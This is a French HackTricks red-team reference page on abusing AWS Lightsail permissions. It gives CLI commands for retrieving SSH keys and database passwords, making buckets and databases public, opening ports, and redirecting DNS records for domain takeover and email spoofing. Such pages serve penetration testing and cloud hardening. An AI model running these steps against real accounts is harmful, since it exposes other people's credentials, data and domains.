AWS - Lightsail Privesc

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Lightsail

Pour plus d'informations sur Lightsail, consultez :

AWS - Lightsail Enum

warning

Il est important de noter que Lightsail n'utilise pas les IAM roles appartenant à l'utilisateur mais un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, des données sensibles telles que du code, des API keys et des informations de base de données peuvent être trouvées dans ce service.

lightsail:DownloadDefaultKeyPair

Cette permission vous permettra d'obtenir les clés SSH pour accéder aux instances :

aws lightsail download-default-key-pair

Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.

lightsail:GetInstanceAccessDetails

Cette permission vous permettra de générer des clés SSH pour accéder aux instances :

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

Potential Impact: Trouver des informations sensibles dans les instances.

lightsail:CreateBucketAccessKey

Cette permission vous permettra d'obtenir une clé pour accéder au bucket :

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Impact potentiel : Trouver des informations sensibles dans le bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Cette permission vous permettra d'obtenir les identifiants pour accéder à la base de données :

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:UpdateRelationalDatabase

Cette permission vous permettra de changer le mot de passe d'accès à la base de données :

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Si la base de données n'est pas publique, vous pouvez aussi la rendre publique avec ces permissions.

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:OpenInstancePublicPorts

Cette permission permet d'ouvrir des ports sur Internet

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impact potentiel : Accéder à des ports sensibles.

lightsail:PutInstancePublicPorts

Cette permission permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potential Impact: Accès aux ports sensibles.

lightsail:SetResourceAccessForBucket

Cette permission permet de donner à des instances l'accès à un bucket sans credentials supplémentaires.

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impact potentiel : Nouvel accès possible à des buckets contenant des informations sensibles.

lightsail:UpdateBucket

Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture aux buckets ou même rendre les buckets publics pour tout le monde :

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impact potentiel : Accès potentiel à de nouveaux buckets contenant des informations sensibles.

lightsail:UpdateContainerService

Avec cette permission, un attaquant pourrait accorder l'accès à des ECR privés depuis le service containers.

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impact potentiel : Obtenir des informations sensibles depuis un ECR privé

lightsail:CreateDomainEntry

Un attaquant disposant de cette permission pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou créer un enregistrement SPF qui lui permet de spoof des e-mails depuis le domaine, ou même pointer le domaine principal vers sa propre adresse IP.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prise de contrôle d'un domaine

lightsail:UpdateDomainEntry

Un attaquant disposant de cette permission pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou créer un enregistrement SPF qui lui permet de spoof emails depuis le domaine, voire configurer le domaine principal pour qu'il pointe vers sa propre adresse IP.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prise de contrôle d'un domaine

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks